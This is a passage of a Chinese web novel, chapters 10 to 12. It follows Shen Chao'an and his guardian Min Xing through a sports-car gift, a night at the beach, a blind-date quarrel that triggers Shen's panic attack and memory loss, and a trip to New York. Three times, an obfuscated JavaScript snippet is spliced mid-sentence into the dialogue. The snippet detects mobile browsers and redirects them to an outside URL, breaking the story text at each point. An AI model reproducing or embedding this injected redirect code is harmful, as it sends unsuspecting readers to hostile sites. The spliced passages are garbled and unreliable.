“妈妈,你怎么这么快就开完会了?”沈潮安舔了舔唇角的番茄汁。 “能看到你给我发的信息了,那些无关紧要的内容就没讲。”闵行坐下来。 “妈妈吃饭了吗?”沈潮安又问。 “还没有。”闵行喝了口水润了润嗓子,“食堂的菜好吃吗?” 闵行忙起来的时候会顾不上吃饭,沈潮安在的时候还好些,每顿饭都按时回家吃,一不在,就容易饿过点。 “好吃,但是没有兰姨做的好吃。”沈潮安说。 “那到底是好吃还是不好吃。”闵行笑了起来。 “你尝尝?反正我也吃不完。”沈潮安将餐盒推了过去,开始喝汤。 “还吃吗?”闵行说。 “不吃了,我想等会吃个宵夜。”沈潮安吹了吹勺子里的汤。 闵行点点头,打扫剩下的饭菜。 沈潮安喝了一点汤,肚子不怎么饿了,就开始在闵行的休息室里面打转,打开投影仪,狠熟练地从旁边的柜子里拿出游戏手柄。 等闵行吃完饭还有点时间,他要打把游戏。 像素小人被打成朵朵血花炸开在屏幕上,冷酷杀手沈潮安面无表情,一点都没有打赢游戏应有的欢乐轰炸。 从丽晶公馆那边回来嘛,这样也难怪。闵行没有在意这样的负面情绪,待会他会好好哄的。 沈潮安沉浸在游戏世界里,打了好几个回合以后压抑的心情才放松了大半。 还是有点不爽。 回头一看闵行,桌子上的餐盒已经收拾好码进保温袋里了,手上拿着不知道从哪摸出来的文件在看。 “打完了?我带你去个地方。”闵行放下文件看过来,眉头一挑脸上带笑。 嗯,去哪儿? 沈潮安开始期待起来。 10. 第 10 章 他们一起下楼,没有让老蒋开车,而是开闵行停在车位上的一辆跑车。 “哇哦。好酷。”沈潮安看着面前香槟灰色的阿斯顿马丁说。 线条流畅的车身泛着内敛的金属暗芒,压低的底盘犹如沉睡巨兽的安静匍匐,不敢想象唤醒后会迸发出多么令人动撼的力量。 “上去试试?”闵行将这辆跑车停在这里就是为了这一刻。 “我没怎么开过车。”沈潮安有些捏扭地说。 上次开车是开给兰姨用来买菜的宝马,他倒车的时候撞上了花园的大门,将车屁股撞瘪了,幸好人没事。 “没事,在地下车库慢慢开一圈试试,出去的时候我来开。”闵行说。 沈潮安坐上了这辆蓄势待发的钢铁猛兽,手放在方向盘上,深呼吸,踩动刹车,按下启动按钮。 沉睡的座驾被唤醒,引擎发出如同欢愉般的低声轰鸣。 沈潮安的双手不敢离开方向盘,眼睛目视前方,以最谨慎的姿态进行第一次跑车试驾。 时速最高可达340公里每小时的疾速跑车在地下停车场以10公里每小时的龟速慢爬,一辆自行车如果保持正常速度,就能轻易赶超这辆钢铁跑车。 “我是一个很谨慎的驾驶员。”沈潮安为自己打圆场。 “嗯,好的,你是一个谨慎的驾驶员。”闵行笑着附和说。 沈潮安仔细嗅嗅,从其中嗅到了玩笑的味道。 他小小地愤怒了一下,提速到20公里每小时,然后在无人的地下停车场战战兢兢地开了一圈。 “给你给你,你来开。”试驾结束后,他如释重负地跳下驾驶座,神态之放松仿佛扔开了一块滚烫的烙铁。 “不喜欢它了吗。”闵行笑道。 “喜欢,但怕撞坏它了。”沈潮安叹了口气。 “它是你的,多开开就好了。”闵行如此说道。 “什么时候买的。”沈潮安有点状况外,“我怎么不知道。而且我有说过我喜欢车吗?” 他开车的次数寥寥无几,也没有明确和闵行表达过什么爱车倾向。 “上次你打游戏的时候讲过。‘如果我也有一辆这么帅气的阿斯顿马丁就好了。’你的原话。”闵行手放在方向盘上,侧过脸看向他说。 “上次打游戏的时候……你是说那个赛车游戏?!啊?但是在游戏里开跑车把前车直接创飞都没事,现实里飙车是要吃罚单的。你怎么敢给马路杀手送车的啊,还要是一脚油门就狂飙的跑车。”沈潮安也是万万没想到。 “这样吗。”闵行的手一点一点地敲着方向盘,“但它已经是你的了,不开也可以放在车库里看看。” 沈潮安没接话,而是低头看手机,搜索阿斯顿马丁的价格,刷的一下看见好多个0。 好昂贵的巨型手办啊。 “最近公司很赚钱吗?你没有偷税漏税吧?”他警惕地盯着闵行看。 “你怎么会这么想,当然没有了,这是正当渠道获得的财富。”闵行有些哭笑不得。 “我没问题了,开车吧。”沈潮安说。 跑车被重新启动,这辆钢铁巨兽在闵行的手上并没有比沈潮安开得快多少,市区内限速,根本没有办法感受属于豪华跑车的猛烈推背感。 无论是阿斯顿马丁还是五菱红光,一遇到下班高峰期就平等地堵在红绿灯口,他们很不凑巧,从公司离开时赶上了最后10分钟的下班高峰期。 沈潮安无聊地在真皮座椅上面左抠抠右抠抠,像个多动症发作的猴子,想要在棕橘色的皮革上打出一口油井。 “很无聊吗,要不要吃糖听音乐。”闵行的余光撇见他的小动作。 “哪里有糖,我要听东海岸嘻哈。”沈潮安不继续抠坐垫了。 “在我的右边口袋里,自己拿。”闵行说。 “我记得交通规则里面明明没说等红绿灯的时候手不可以离开方向盘。”沈潮安小声嘟囔,手还是伸过去掏闵行的口袋。 闵行穿的还是那身上班时候的灰西装,能装东西的口袋就这么几个,外面的口袋里没有,那就是在衣襟内侧的口袋了。 沈潮安探身过去解开闵行的西装纽扣,伸手进去摸。 闵行不知道是故意的还是有心的,耸动了两下胸口。 给沈潮安的行动造成了不小的阻碍,他很被动地摸到了闵行的胸大肌。 弹性适中略有硬度,还有点大。 “不要再故意展示你的健身成果了,这样对白斩鸡很不礼貌。”沈潮安一把按住胸肌说。 手下的胸肌立刻紧绷,然后放松弹了他一下。 “好摸吗?”闵行笑道。 “很不好摸!下次不要再展示了!”沈潮安啪的一下拍了一巴掌下去。 闵行痛呼一声,不知道是真的还是装的。 总之他顺利地摸到了口袋内侧揣着的一小铁皮盒糖果,小得跟个打火机似的。 “嗯?薄荷味的?”沈潮安倒出来一小颗糖果,还没吃就已经闻到了那股清凉的薄荷味道。 “提神用的,经常喝咖啡和茶不太好。”闵行说。 东海岸嘻哈在车里奏响,富有节奏感的饶舌乐声中他没听清楚闵行刚刚说了什么,凑过去要他再说一次。 闵行又重复了一次,沈潮安还是没听太清楚,干脆将手里的糖塞进了闵行嘴里。 大家一起吃糖,就可以一起闭嘴了。 闵行把车里的音乐声调小了一点。 跑车很快开出了市区,路上的车流量减少,限速标准也降低。 沈潮安口腔里的薄荷糖已经吃完了,但清爽透凉的爽感还就就停留在口腔,但很快,另一种排山倒海般的澎拜感笼罩了他。 闵行在空旷路段提速,并且降下车顶,凌冽的狂风瞬间扑面而来。 即使车前挡风玻璃帮忙抵挡住了大部分的风,但在初夏的夜晚,开到80迈的车速卷起的气流涌动还是太过清凉了。 沈潮安被扑面而来的风吹了个激灵,突然加速前进让推背感将他死死按在座椅靠背上,他没忍住尖叫出声。 “啊——” 在喧闹的嘻哈乐声、风声、还有他自己的尖叫声里,还有第四种声音,闵行在笑,笑声朦朦胧胧地传进他的耳朵里,听起来好像是在嘲笑。 不,也不完全是,更像是畅快极了的大笑。 完全苏醒的钢铁巨兽在环山公路上擦了几个弯,在靠近海岸边的道路才慢慢缓下车速,沈潮安的脸被吹得发白,但眼神亮得要命。 “好爽!我终于明白为什么林乐丰会隔三岔五在环山公路吃罚单吃到差点要吊销驾照的地步了!”他兴奋地叫了起来。 “这种事情倒也不用大声声张。”闵行轻咳了一下。 沈潮安闭了嘴,揉了揉吹僵的脸,在放慢了的车速下欣赏两边的风景。 环山公路已经开过了山体的部分,现在可以远远地眺望到没多少灯光的黑色海面。 晚上去海边做什么呢? 他直接开口问了闵行,完全不想将惊喜礼物留到最后拆封。 “我们去看蓝眼泪。”闵行也不是非保密不可,反正也快到了。 “蓝眼泪?我知道,是浮游生物发出的荧光,但今晚真的有吗?这里可以看到海边,海完全是黑色的。”沈潮安困惑地说。 “我们离得太远了,蓝眼泪只是浮游生物散发的微光,而不是能够亮到几公里开外都能看得一清二楚的霓虹灯牌。”闵行笑着说。 “嗯,这和我看到的图片很不一样。”沈潮安沉吟了一下说。 不过去看这样没见过的自然奇景,还是和闵行一起,这两样加起来足够让他觉得高兴了。 大约五分钟以后,车在堤岸边停下。 海边的夜晚很冷,沈潮安只穿了一件短袖,一路过来已经吹麻了,闵行倒是很热,西装外套和衬衫都是长袖,分了一件给他。 “你的袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464272|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真长,我的手可以完全藏在里面。”沈潮安在衣袖里面朝着闵行张开手,一点指尖都露不出来。 “你的手有点短。这个年纪已经长不高了。”闵行随着海风的啸声叹了一口气。 “过分了。”沈潮安发出不算生气的哼哼。 闵行去抓他的手,没判断好位置抓到了一截指尖,沈潮安哈哈哈哈地笑。 被抓住的手松开了,闵行看了他一眼,然后慢条斯理地给西装挽袖子,两边都挽上了,让他的两只手都露出来,也方便抓。 他们牵着手,一脚深一脚浅地踩进沙滩里,朝着浪花翻涌的浪峰线走去。 走到一半,沈潮安就看见星星点点的蓝色荧光随着浪花的拍打在远处若隐若现,就像一条朦胧的荧光蓝色缎带。 “我们走快一点,再快一点。”他拉着闵行就跑起来。 不过转眼之间,他们跑到了被潮水侵袭的松软沙地前,一个浪花打过来,差点将他们的裤脚都打湿。 沈潮安惊喜地欢呼,跳起来给了闵行一个大大的熊抱,闵行稳稳接住他,没让他们两个一起砸到地上去。 蓝眼泪远看是浅浅的一小片,近看是随着白色浪花一同冲刷上岸的水母裙摆,浮游生物随着海浪旋转起舞,在初夏的夜晚举办一场浪漫的海边舞会。 沈潮安维持着抱着闵行脖子的姿势,十分合时宜地联想道。 “你可以下来了,我的脖子有点重。”闵行拍拍他的屁股。 “你锻炼出来的肌肉是摆设吗,还是你在说我太重了?”沈潮安边说边跳下来。 “你的话太多了,但是你不重,只是常年在办公室坐镇的人员需要格外保重脊椎。”闵行说。 一阵浪潮打过,他俩躲避不及,双双被打湿了双脚。 “等会你还能开车吗?”沈潮安率先关注的问题是这个。 “我们可以找代驾。”闵行说。 “车上只有两个座位,但是要是叫个代驾我们就有三个人了。”沈潮安说。 “然后让老蒋来接我们。”闵行不紧不慢地说完了后半句。 “不早说!害我丢脸了!”沈潮安踩了他一脚,原本就湿了的皮鞋立刻就沾上了一滩沙子。 “是我的错。我们可以沿着海岸线继续行走,蓝眼泪的浪潮可以持续到今晚午夜,我们还有很多时间。”闵行牵住他的手说。 “我们应该要找个瓶子,装一点蓝眼泪回去……还是算了,还是让它们留在这里吧,带回去它们会活不了多久的。”沈潮安说。 闵行点点头。 夜越深,海边的风就越冷,沈潮安只走了一段就觉得身上更冷了,昂贵的西装面料一点也不御寒,他现在只想快点回车上去开个暖气。 “不看了,回去了,我觉得有点冷了。”沈潮安吸了吸鼻子。 “手是有点冷了,我们回去吧。”闵行说。 老蒋从市区开到海堤边没有那么快,他们回到跑车旁边,沈潮安脱掉了鞋,却有点不愿意上车。 脱掉了鞋袜脚上还有沙子,而且裤腿还在滴水,会弄脏这辆昂贵的大型玩具。 闵行半跪下来,把他的裤腿挽起来拧了拧,抽出西装口袋里垫着的手巾,给他仔细擦掉沾着的细沙。 “把你的脚收上去吧,干净了,把门也一起关上,车门开着走暖气。”闵行丢了那条手巾。 “你不上来吗?”沈潮安问。 “我不脱鞋。”闵行说。 嗯……似乎是身上有点什么奇怪的包袱呢?即使没人看见也要保持体面。 沈潮安别过脸去偷笑。 闵行敲敲车窗,他赶紧收起笑,将眼睛瞪得滋溜圆,怕被闵行看见了。 不过转念一想,车窗不是单向防窥的吗,他能看见外面,外面看不见里面。 沈潮安伸出手,对着在窗边朝弯下腰凑近不知道要做什么的闵行画了个爱心。 闵行的视线看了过来,又敲了一下。 11. 第 11 章 沈潮安这才不紧不慢地打开车门,让闵行可以和他说话。 “怎么了?有什么事吗?”他故意这么问闵行,有点此地无银三百两的味道。 “没事,只是告诉你老蒋要到了。”闵行脸上的表情在他看来有点奇怪,可能是被海风吹的吧。 沈潮安对这辆没开多久的座驾不怎么熟悉,闵行也没在他面前细细展示过各种功能,因此他并不知道,玻璃上的隐私防窥功能没开。 闵行不仅清楚地看见了他在偷笑,还看见了那个画在玻璃上的爱心。 他勾起嘴角笑了一下很快又隐没下去,有些事情还是得放在心里,自己拿出来开心就足够了。 在海边吹了冷风,闵行担心他会感冒发烧,这次干脆将家庭医生叫到家里来住一晚。 沈潮安心情好身体也好,家庭医生算是白来一趟。 第二天一早,他收到了两个人发来的信息,一个是许美兰,一个是许薇。 沈潮安没看,而是将直接将聊天不显示,让那些未知的答案永远沉寂下去。 无论说什么,一切都太迟了。 他已经不再需要它们了。 闵行今天要带他去公司上班。 一方面沈潮安确实很黏闵行,但另一方面不想上班乃是人之常情。 在这样的纠结下,他赖床了。 “起床了。”闵行亲自站在他的床头叫他起床。 “我起不来,今天就不去了吧,妈妈我会想你的。”沈潮安将被子拉高蒙住头。 “起来。”闵行完全无视他的抵赖,一把攥住被子用力一扯。 “好冷!!”沈潮安没抓紧,冷空气嗖的一下裹住了他。 彻底清醒了。 被子在地上,闵行在床边,看来这床是非起不可了。 为了不让闵行上班迟到,他只好赶紧从床上起来,飞速洗漱收拾整齐。 坐到车上时他还打着哈欠,身体已经动起来了灵魂却还没清醒,估计要等到闵行的办公室才能彻底开机。 和他形成鲜明对比的是西装革履的闵行,戴着防蓝光眼睛气定神闲,面前是数据简报,手磨咖啡的苦香充斥着车厢,凛然一位商务精英人士。 沈潮安迷迷糊糊,安全带的搭扣都是闵行系的,车一启动就东倒西歪,睡得不知天地为何物。 路上遇到红绿灯暂停了一会儿,他也短暂醒了一下,兰姨给他路上带了牛奶三明治做早餐,他眨着朦胧的泪花拿起牛奶来喝。 怎么是苦的?! “yue——” “你拿错了,那是我的咖啡。”闵行的声音不紧不慢地传进耳朵里。 “怎么不早说!”沈潮安愤怒地将咖啡放回去。 “你现在不困了,效果很好,这杯给你了。”闵行笑得很险恶,配上那副平光眼睛,简直就是斯文败类。 “你自己喝吧,谁要喝又酸又苦的烟灰水!”沈潮安撇撇嘴。 兰姨给他打的草莓牛奶,里面放了一点糖让味道喝起来酸甜可口,猛喝了好几口才将嘴里的酸苦味道给压下去。 闵行的办公室在32楼,沈潮安从进电梯开始吃三明治,电梯抵达刚好吃完。 痛苦的一天,从坐到工位上开始。 闵行的办公室里有两张办公桌,侧着摆放的那张是给他的,他要在这里处理完一天的工作,看看预案批准一些申请什么的。 有不懂的可以问闵行。 沈潮安深呼吸一口气,开始处理工作。 一时间办公室里只剩下了鼠标点击声和翻动纸张的声音,这样的声音不出意外应该会持续一个上午。 沈潮安勤勤恳恳工作了一个上午,问了闵行一点弱智问题,解决完以后他感觉自己在闵行欣慰的目光里升级了。 从Lv.2升级到了Lv.3的程度,满级是10级。 任重道远啊任重道远。 距离下班时间还有20分钟,沈潮安饿了,他现在有两个选择,点外卖还是公司食堂。 他把这个问题抛给了闵行。 “点外卖吧。你想吃日料吗?”闵行取下眼镜按了按太阳穴。 “还行,那就吃日料吧。”沈潮安过去,摸走闵行的手机。 他记得附近有一家味道还不错的日料店,不过要是点外送的话,他不太想吃生的。 点好了外卖约等于下班,沈潮安将手机还给闵行,然后在闵行的办公桌附近走来走去。 一会摸摸书架上的书,一会动动摆件,除了发现清洁工应该加工资以外毫无发现。 闵行对这种翘班行为睁一只眼闭一只眼,上了一上午的班了,也该好好放松一下。 上午的工作结束,但一天的工作才刚刚起了头,沈潮安只想赶紧下班。 下午三点多,办公室迎来了一位不速之客。 这是沈潮安认为的。 闵行的死鬼老爹不知道抽了什么疯,突然来公司视察工作。 前脚进公司后脚王秘书就给闵行通风报信,沈潮安觉得见闵父比见安夫人更加尴尬,于是就躲进了闵行的休息室。 闵父已经完全放权给了闵行,公司的事务放手好几年了,拿着公司的分红在外面潇潇洒洒,今天上来,是给闵行介绍相亲对象的。 闵行今年的生日已经过了,三十而立,催婚来得比往年迅猛。 按照闵父的设想,今年订婚明年结婚后年年头就抱上闵家的新生一代,时间安排得很是紧凑。 “你沈叔叔的女儿刚从英国回来,读的是艺术,你林阿姨的侄女手上捏着好几十个亿的项目,还有我老友老龚你记得吧,他妹妹,龚家最看重的那个小妮儿……”闵父坐在真皮沙发上,嘴里叼着一支雪茄,吞云吐雾侃侃而谈。 他嘴里说出的话就如同在菜市场挑菜,有用程度就跟嘴里吐出来的烟雾差不多,都是废气。 “我现在还没有结婚的想法。”闵行说。 “先谈着也行,明年结婚确实有点仓促,人家姑娘不一定乐意。”闵父也觉得安排得太急了,是该缓缓。 “也没有谈恋爱的打算。”闵行说。 “嗯?你不会有什么问题吧?”闵父将嘴里的雪茄拿了下来。 “我没有,就是暂时不想。”闵行面无表情,在想把他爹丢出的迫切理由。 “那我什么时候才能抱上孙子,我们闵家的下一代什么时候才能培养出来?”闵父重新叼起雪茄深吸一口,烟雾再次缭绕。 “闵文不是已经有两个儿子了吗。”闵行头也不抬,继续翻看文件。 “他又不是你妈生的,不算闵家人。”闵父摆手。 闵行有不少兄弟姐妹,除了安雅是一母同胞以外,剩下的全是闵父的私生子女,那些比较得宠的能冠闵姓,大部分都是跟各自的妈姓。 不过他都没怎么见过。 安夫人和闵父的婚前协议很明确,只有他们生的孩子,也就是闵行才能继承公司的股份,其他一概没份。 闵行迟迟未婚,闵父那边的私生子女蠢蠢欲动,安夫人和闵父的催促也是越发频繁。 沈潮安靠在门上,偷听他们都在讲些什么。 门的隔音太好,他几乎听不见他们到底都在谈论些什么。 但他直觉不是什么好事,闵父的每一次出现都如同瘟疫,即使没有带来病毒,也会残留下臭不可闻的臭气。 门外,交谈仍在继续。 闵行说:“再议吧,你今天很闲吗,怎么不开游艇出海。” 闵父看了看表:“我平时也是很忙的,只是今天抽空来关心一下我儿子。游艇不开了,那个Maya最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464273|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹得太厉害,怕了她了,干脆就不玩了。好了,时间也不早了,我约了冯小姐去跳舞,过两天我给你安排那些小姑娘们见面,就这么说定了啊!” 闵行皱眉:“我没答应你,不要给我的时刻表增加不必要的麻烦。” 闵父也不知道到底有没有听见,叼着他的雪茄去污染外面的环境了。 闵行在考虑要不要叫后勤采购一批禁烟标识,钉满公司任何一个显眼地方。 沈潮安靠着门听了一会儿,朦胧的说话声已经听不见了,闵父应该是走了。 他推开门出去,残留的雪茄烟雾气味呛了他一鼻子。 “好难闻,空气净化模式开了吗,怎么这么呛,你爸抽了多少啊?”他捏着鼻子,站在门边不肯挪脚。 “两根,怎么还不抽死他。”闵行没有一点孝敬之心。 “你们刚刚说什么了?”沈潮安问。 “他给我安排相亲了。”闵行说。 “你答应去了吗?你有答应吗?”沈潮安焦急地问。 “没有,但应该还是要去。”闵行说。 沈潮安沉默了一会儿,低着头想闵行以前那些不得不去的相亲。 那些女孩子性格各异,唯一的共通点是都很有背景,是很合适的联姻对象,最后一个也没成。 那这次的相亲呢,闵行也同样会拒绝吗? “妈妈,你会结婚吗?”他抬起头问。 “为什么这么问?”闵行没有直接回答。 “那就是说你会结婚对吗?”沈潮安说。 闵行一时之间回答不上来。 他应该会结婚的吧,要和什么样的女人结婚呢,他不太在乎,但是要对沈潮安好,要将沈潮安视作他们的孩子……这样的要求很奇怪,所以他从来没和相亲对象们说过。 一个脑子正常的女人都不会接受婚后有这么大一个孩子的,而且还是毫无血缘关系的孩子。 只会觉得他们都神经有病。 确实是有。 那倒不如不如不结婚好了,婚姻也不算什么好东西。 “那我还是你最喜欢的孩子吗?”沈潮安看着闵行的神色,问。 “你当然是,这一点永远不会改变。”闵行神色认真地承诺。 “即使以后有了别的孩子,你也会最爱我对吗?”泪水已经在他的眼眶积蓄,视线变得模糊起来。 “对。”闵行毫不犹豫地回答。 果然,闵行以后的人生设想里面会有别的孩子,原本他可以得到全部的爱,分成很多个部分以后即使他得到的是最多的,那也远比他原本得到的要少得多。 不!更有可能发生的事是他会被抛弃,他不再是闵行会考虑的第一选择,闵行的人生会有更多的选择。 不!不准!这些都不准有! 他不要被丢下!不要! “你想丢下我了对吧!你果然想要丢下我了!不准!我不准你丢掉我!你是不是讨厌我了!我是不是已经变成了你的大麻烦!”沈潮安声嘶力竭地嘶吼,眼泪从眼眶里滚落。 泪水模糊了闵行向他奔来的身影,一种剧烈的窒息感从胸腔涌起,仿佛有一只无形的大手紧紧扼住他的咽喉,让他没办法呼吸,一阵又一阵的黑暗翻涌而上,他仿佛身处在那个黑暗的小房间。 女人的声音在耳边说:“小安,你待在这里乖乖的,等妈妈回来。” 小安听话,妈妈会回来的。 小安,妈妈最爱的就是你了。 妈妈,你最爱的真的是我吗? 妈妈,你不要我了吗? 妈妈,你什么时候回来呢? 妈妈,妈妈。妈妈!妈妈!!你在哪!你在哪!! 别走!别丢掉我!! …… 消毒水的气味涌入鼻腔。 12. 第 12 章 沈潮安睁开眼睛,不适应的眩晕让眼前重影,他又把眼睛闭上了。 消毒水的气味带给他一种恐惧的感觉,他不喜欢这个味道。 再次睁开眼睛,他看见的是医院病房的白色天花板,还有挂在一侧的吊瓶,他眨眨眼,总感觉这幅场景好像在哪里见过。 沈潮安一动,就立刻有只手伸过来按住了他:“别动,还有半瓶没打完。” 是闵行的声音。 沈潮安不动了:“我怎么了?” 闵行放开手,替他掖了掖被子说:“你晕倒了,对不起,我不应该……” 沈潮安表情奇怪地打断了他:“为什么要说对不起,我怎么会晕倒,我明明记得我在看一份文件,是低血糖晕倒了吗?” 闵行沉默了,不知道应不应该实话实说。 沈潮安戳了戳他:“说话呀,你不说话我好害怕,我是得什么病了吗?” 他是真的不记得发生过什么了,只记得今天跟着闵行一起来上班,上班真的很无聊。 闵行叹了一口气,说:“我们发生了一场争吵,但在我解释之前,我可以叫医生进来吗,我觉得我需要一点医学建议。” 沈潮安觉得心口有点闷闷的,好像他们确实发生过很不愉快的争吵,但他完全不记得。 自从成年以后闵行就没有和他吵过架,他想不出来他们会因为什么发生争吵。 闵行按了床头铃,让医生和护士进来给沈潮安进行检查,他到外面去给秦医生打电话。 沈潮安被安排了一系列检查,从心肺听诊到心电图再到倾斜台试验。 最终得出的结论是身体健康,收拾收拾就可以出院。 闵行已经和秦医生通完电话了,不知道秦医生和他说了什么,沈潮安再问他们到底为什么吵架时,闵行闭口不言。 无论时直接问还是旁敲侧击,闵行都不告诉他。 就很气。 沈潮安从通讯录里面翻出秦医生的电话号码,打过去问到底发生了什么事。 电话那旁的秦医生支支吾吾:“小安呐,这个事情解释起来有点复杂,但是我们可以长话短说。但是话又说回来了,考虑到你的情况,我觉得还是不说为妙。” 什么乱七八糟的。 沈潮安皱眉:“秦医生,所以我到底是怎么了?” 秦医生叹了口气,说:“小安我是看着你长大的,你刚到这里来的时候才5岁,说实话,你现在比刚来那会好多了。所以我不建议你去触碰那些令你感到痛苦的记忆,你的大脑为了保护你,将那些让你感到痛苦的记忆全都封闭了起来。” 沈潮安说:“所以我才会失去下午的记忆吗?” 秦医生说:“是这样的没错。” 但他还是想知道。 沈潮安说:“我还是想知道到底发生了什么,闵行有和你说吗?” 秦医生在电话那头沉默了一会,再开口时语气沉痛:“小安,我可以告诉你,但你不能告诉闵先生,不然我会有麻烦的。而且我会用尽量简洁的话语告诉你,脱离开那个场景,让你好接受一点。” 沈潮安说:“谢谢你秦医生。” 秦医生:“不客气。” 闵行和秦医生将过的话经过加工,在当事人之一的沈潮安耳边又讲了一遍,秦医生负责沈潮安的治疗已经有17年,最知道怎么避重就轻。 所以沈潮安听到的是他因为闵行不打算去相亲气晕了。 沈潮安:“啊?” 不是? 啊? 你要不要听听你自己在说什么秦医生,你这样的转述方式是要被告诽谤的! 秦医生也觉得自己胡说八道地有点过分,然后补充了一句:“闵先生还告诉我他说你是他最喜欢的孩子,这一点不可能会改变。” 沈潮安眨眨眼睛:“呃 ,我很难想象,当时到底发生了什么。” 这些话连起来听怎么会这么荒谬,不过闵行说最喜欢他,这句话倒是很中听。 秦医生鬼扯了几句就匆匆挂了电话,似乎很怕多说点什么让他的职业生涯遭到毁灭性打击。 沈潮安觉得,这一天可真是够莫名其妙的。 晚上睡觉的时候,闵行很罕见地进了他的房间,问他需不需要一起睡。 送上门来的好事,沈潮安当然不会拒绝。 “小安,对不起。”闵行有点想摸摸他的头,就像小时候那样。 “为什么要说对不起,已经是今天说的第二次了。”沈潮安故意这样问道。 他将秦医生说过的话重新排列组合了一下,猜测出闵行应该是有几场相亲准备要去,很大概率应该不去。 “我没有认真回答你的问题,让你很难过。”闵行说。 “你这么说,应该是很严重了。所以你决定要怎么补偿我。”沈潮安问。 “你想要什么?”闵行给了一张空头支票,他可以在上面随意填写愿望。 “我想要听你再说一次爱我,妈妈,我是不是你最喜欢的人。”沈潮安说。 “好。小安,你是我最喜欢的人,我很爱你,很爱很爱。”闵行摸摸他的头。 “好敷衍。有多爱?”沈潮安对这样的回答不满意。 “让我想想。”闵行没有立刻回答。 沈潮安安静地等待他的答案。 闵行不是一个感情很充沛的人。 一个人没有收获到很多的爱,那么就不太可能学会去爱人。 闵行在很早的时候就意识到,他的父母并不爱他。 联姻结合的产物,他的出生是解放的标志,闵父和安夫人终于可以分居,他们各过各的,没有一个人要他。 他们对他还是有那么一点点的爱的,只是很多都分给了别人,只有一丁点儿结合了责任分给了他。 沈潮安给了他一个家。 这种说法很奇怪,但确实如此。 沈潮安很需要他,需要他时时表露爱意倾注情感,而他也很需要沈潮安,沈潮安将同样热烈的爱回馈给他。 他们就像共生关系的两株植物,无论分开哪一方,都会让另一方枯萎。 “我很爱你,你是我生活的全部,只有你在的地方才会是家,没有你,我的人生大概会很无趣。”闵行抱住了他。 这个拥抱很重,重得几乎要把沈潮安揉进他的身体,仿佛将他们的血肉一起揉碎了才能紧密结合,才能将浓重的情感短暂地释放。 “妈妈。我也爱你。”沈潮安艰难地回抱回去。 即使这样的拥抱重得他快要窒息,他也贪恋这样的温暖。 闵行没有告诉他今天下午到底发生了什么,他也没有再问。 情绪大起大落很伤身,沈潮安发了几天的低烧。 整个人都蔫蔫的,打不起一点精神。 这次低烧不用吃药,情绪病更需要的是情绪调节,保持几天愉悦心情会让身体更快恢复。 但闵行要出差了。 沈潮安可以跟着去。 要去纽约一周的时间,住在曼哈顿一家顶楼公寓式酒店,酒店客厅有一整面玻璃落地窗,可以俯瞰整个曼哈顿。 闵行在美国读书的时候他也跟着到美国住了四年,当时他们住在新泽西州,他就是在这里爱上东海岸嘻哈的。 纽约就在新泽西旁边,闵行在有空的时候会开车带他去纽约玩,这次出差算是故地重游。 “哥哥,要回你的学校看看吗?”沈潮安在飞机上问。 “如果有时间的话可以去。”闵行说。 “那真是太好了,如果有时间去的话,我想去拜访赫兹太太,我想念她做的樱桃派了。”沈潮安说。 “好,我会尽量快点处理完我的工作的。”闵行承诺道。 起飞时颠簸的气流过后,飞机平稳飞行,沈潮安闭上眼睛,一不小心就睡着了。 中途清醒的时间不多,除了吃饭上厕所以外,他大概只有两个小时是醒着的。 这样的困倦反而让这趟飞行没有那么难熬。 沈潮安下飞机的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464274|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神采奕奕,比闵行和他的秘书团都要精神得多。 飞机落地已经是纽约时间早上9点,耀眼的阳光让沈潮安眯起了眼,时区的跨越让他有一种追着太阳奔跑的感觉。 他在飞机上睡得很好,正好倒时差,等到酒店整理一下行李以后可以考虑一下四处逛逛。 “哥哥,我想去博物馆看看。”沈潮安对闵行说。 “可以,我陪你去。”闵行说。 “你今天不用工作吗?”沈潮安看了闵行好几眼,觉得实在不太像闵行的作风。 “提早了一天来,要倒时差,工作不能头脑不清晰。”闵行说。 “那我们可以下午再去博物馆,晚上我想去那家做奶油焗海鲜很好吃的西班牙餐厅吃晚餐。”沈潮安说,“吃完晚餐就回来,我们可以在酒店看电影。” “那就按你的安排来吧。”闵行笑着答应了。 接洽的公司派了车来接他们,老总的小儿子雷德蒙亲自来迎接他们,加长林肯里准备好了香槟冰桶,看起来很有诚意。 “你们好啊!我会说点中文,闵先生,沈先生,欢迎来到纽约,希望我们这次的合作愉快。”金发碧眼体格犹如棕熊的雷德蒙操着一口河南口音的中文,向着他们伸出手。 “你好。”闵行伸手和他握了握。 “你好。”沈潮安忍住了想笑的冲动。 